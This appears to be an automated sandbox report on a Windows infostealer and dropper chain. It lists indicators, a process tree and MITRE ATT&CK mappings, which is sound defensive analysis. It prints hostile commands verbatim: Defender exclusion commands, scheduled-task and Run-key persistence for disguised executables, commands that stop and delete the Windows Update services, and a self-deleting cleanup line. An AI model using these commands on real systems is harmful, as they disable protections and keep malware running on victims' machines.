djvu | bb7864dfd07179cda5f39ed2981ee93900a62b50e6fad6c8e0a6a42cf0163610

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	B3F3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	189D.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	liyy.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	1D32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	1D32.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	build2.exe

Executes dropped EXE 18 IoCs

pid	Process
4364	B3F3.exe
4376	B4BF.exe
4588	BAAC.exe
5008	BC53.exe
1440	189D.exe
4320	svcupdater.exe
1652	1D32.exe
1528	llpb1133a.exe
3920	liyy.exe
3508	XandETC.exe
2952	liyy.exe
4420	1D32.exe
968	2FA1.exe
4996	1D32.exe
4880	1D32.exe
1944	build2.exe
3044	build3.exe
3220	build2.exe

Loads dropped DLL 3 IoCs

pid	Process
2836	rundll32.exe
3220	build2.exe
3220	build2.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3248	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x00070000000231b5-176.dat	vmprotect
behavioral2/files/0x00070000000231b5-177.dat	vmprotect
behavioral2/memory/1528-182-0x0000000140000000-0x000000014061E000-memory.dmp	vmprotect

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\a94fdab8-5676-4302-95b1-3c27b98dc78d\\1D32.exe\" --AutoStart"	1D32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
51	api.2ip.ua
52	api.2ip.ua
63	api.2ip.ua

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1652 set thread context of 4420	1652	1D32.exe	105
PID 4996 set thread context of 4880	4996	1D32.exe	114
PID 1944 set thread context of 3220	1944	build2.exe	119

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2460	sc.exe
5104	sc.exe
4208	sc.exe
3156	sc.exe
332	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2032	5008	WerFault.exe	85
2644	4364	WerFault.exe	80
4924	2836	WerFault.exe	108

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BAAC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BAAC.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	BAAC.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2092	schtasks.exe
3260	schtasks.exe
1284	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1144	timeout.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	50	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4756	file.exe
4756	file.exe
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE
1108	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1108	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4756	file.exe
4588	BAAC.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeShutdownPrivilege	1108	Explorer.EXE
Token: SeCreatePagefilePrivilege	1108	Explorer.EXE
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeDebugPrivilege	2780	powershell.exe
Token: SeShutdownPrivilege	3400	powercfg.exe
Token: SeCreatePagefilePrivilege	3400	powercfg.exe
Token: SeShutdownPrivilege	2556	powercfg.exe
Token: SeCreatePagefilePrivilege	2556	powercfg.exe
Token: SeShutdownPrivilege	3572	powercfg.exe
Token: SeCreatePagefilePrivilege	3572	powercfg.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3920	liyy.exe
3920	liyy.exe
2952	liyy.exe
2952	liyy.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1108 wrote to memory of 4364	1108	Explorer.EXE	80
PID 1108 wrote to memory of 4364	1108	Explorer.EXE	80
PID 1108 wrote to memory of 4364	1108	Explorer.EXE	80
PID 1108 wrote to memory of 4376	1108	Explorer.EXE	83
PID 1108 wrote to memory of 4376	1108	Explorer.EXE	83
PID 1108 wrote to memory of 4376	1108	Explorer.EXE	83
PID 1108 wrote to memory of 4588	1108	Explorer.EXE	84
PID 1108 wrote to memory of 4588	1108	Explorer.EXE	84
PID 1108 wrote to memory of 4588	1108	Explorer.EXE	84
PID 1108 wrote to memory of 5008	1108	Explorer.EXE	85
PID 1108 wrote to memory of 5008	1108	Explorer.EXE	85
PID 1108 wrote to memory of 5008	1108	Explorer.EXE	85
PID 4364 wrote to memory of 2092	4364	B3F3.exe	89
PID 4364 wrote to memory of 2092	4364	B3F3.exe	89
PID 4364 wrote to memory of 2092	4364	B3F3.exe	89
PID 1108 wrote to memory of 1440	1108	Explorer.EXE	98
PID 1108 wrote to memory of 1440	1108	Explorer.EXE	98
PID 1108 wrote to memory of 1440	1108	Explorer.EXE	98
PID 1108 wrote to memory of 1652	1108	Explorer.EXE	100
PID 1108 wrote to memory of 1652	1108	Explorer.EXE	100
PID 1108 wrote to memory of 1652	1108	Explorer.EXE	100
PID 1440 wrote to memory of 1528	1440	189D.exe	101
PID 1440 wrote to memory of 1528	1440	189D.exe	101
PID 1440 wrote to memory of 3920	1440	189D.exe	102
PID 1440 wrote to memory of 3920	1440	189D.exe	102
PID 1440 wrote to memory of 3920	1440	189D.exe	102
PID 1440 wrote to memory of 3508	1440	189D.exe	103
PID 1440 wrote to memory of 3508	1440	189D.exe	103
PID 3920 wrote to memory of 2952	3920	liyy.exe	104
PID 3920 wrote to memory of 2952	3920	liyy.exe	104
PID 3920 wrote to memory of 2952	3920	liyy.exe	104
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1652 wrote to memory of 4420	1652	1D32.exe	105
PID 1108 wrote to memory of 968	1108	Explorer.EXE	106
PID 1108 wrote to memory of 968	1108	Explorer.EXE	106
PID 1108 wrote to memory of 968	1108	Explorer.EXE	106
PID 2664 wrote to memory of 2836	2664	rundll32.exe	108
PID 2664 wrote to memory of 2836	2664	rundll32.exe	108
PID 2664 wrote to memory of 2836	2664	rundll32.exe	108
PID 4420 wrote to memory of 3248	4420	1D32.exe	109
PID 4420 wrote to memory of 3248	4420	1D32.exe	109
PID 4420 wrote to memory of 3248	4420	1D32.exe	109
PID 4420 wrote to memory of 4996	4420	1D32.exe	112
PID 4420 wrote to memory of 4996	4420	1D32.exe	112
PID 4420 wrote to memory of 4996	4420	1D32.exe	112
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4996 wrote to memory of 4880	4996	1D32.exe	114
PID 4880 wrote to memory of 1944	4880	1D32.exe	115

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4756
- C:\Users\Admin\AppData\Local\Temp\B3F3.exe
  C:\Users\Admin\AppData\Local\Temp\B3F3.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4364
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
    3⤵
    - Creates scheduled task(s)
    PID:2092
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4364 -s 800
    3⤵
    - Program crash
    PID:2644
- C:\Users\Admin\AppData\Local\Temp\B4BF.exe
  C:\Users\Admin\AppData\Local\Temp\B4BF.exe
  2⤵
  - Executes dropped EXE
  PID:4376
- C:\Users\Admin\AppData\Local\Temp\BAAC.exe
  C:\Users\Admin\AppData\Local\Temp\BAAC.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4588
- C:\Users\Admin\AppData\Local\Temp\BC53.exe
  C:\Users\Admin\AppData\Local\Temp\BC53.exe
  2⤵
  - Executes dropped EXE
  PID:5008
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5008 -s 448
    3⤵
    - Program crash
    PID:2032
- C:\Users\Admin\AppData\Local\Temp\189D.exe
  C:\Users\Admin\AppData\Local\Temp\189D.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1440
- - C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe
    "C:\Users\Admin\AppData\Local\Temp\llpb1133a.exe"
    3⤵
    - Executes dropped EXE
    PID:1528
- - C:\Users\Admin\AppData\Local\Temp\liyy.exe
    "C:\Users\Admin\AppData\Local\Temp\liyy.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:3920
  - - C:\Users\Admin\AppData\Local\Temp\liyy.exe
      "C:\Users\Admin\AppData\Local\Temp\liyy.exe" -h
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:2952
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:3508
- C:\Users\Admin\AppData\Local\Temp\1D32.exe
  C:\Users\Admin\AppData\Local\Temp\1D32.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Users\Admin\AppData\Local\Temp\1D32.exe
    C:\Users\Admin\AppData\Local\Temp\1D32.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\a94fdab8-5676-4302-95b1-3c27b98dc78d" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:3248
  - - C:\Users\Admin\AppData\Local\Temp\1D32.exe
      "C:\Users\Admin\AppData\Local\Temp\1D32.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\Users\Admin\AppData\Local\Temp\1D32.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1D32.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4880
      - C:\Users\Admin\AppData\Local\ec5f9b77-c8bd-430d-a4b8-72994fac2749\build2.exe
        
        "C:\Users\Admin\AppData\Local\ec5f9b77-c8bd-430d-a4b8-72994fac2749\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1944
        
        C:\Users\Admin\AppData\Local\ec5f9b77-c8bd-430d-a4b8-72994fac2749\build2.exe
        
        "C:\Users\Admin\AppData\Local\ec5f9b77-c8bd-430d-a4b8-72994fac2749\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3220
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\ec5f9b77-c8bd-430d-a4b8-72994fac2749\build2.exe" & exit
        8⤵
        
        PID:4260
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1144
      - C:\Users\Admin\AppData\Local\ec5f9b77-c8bd-430d-a4b8-72994fac2749\build3.exe
        
        "C:\Users\Admin\AppData\Local\ec5f9b77-c8bd-430d-a4b8-72994fac2749\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3044
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:3260
- C:\Users\Admin\AppData\Local\Temp\2FA1.exe
  C:\Users\Admin\AppData\Local\Temp\2FA1.exe
  2⤵
  - Executes dropped EXE
  PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2780
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4384
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3400
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2556
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3572
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4464
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:3936
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3156
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:332
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2460
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5104
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4208
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:2900
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:812
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:2284
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4884
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:1444
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:2096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5008 -ip 5008
1⤵
PID:4328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4364 -ip 4364
1⤵
PID:4288

C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
1⤵
- Executes dropped EXE
PID:4320

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:2836
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2836 -s 600
    3⤵
    - Program crash
    PID:4924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2836 -ip 2836
1⤵
PID:1860

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
PID:852

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:1640
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:1284

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery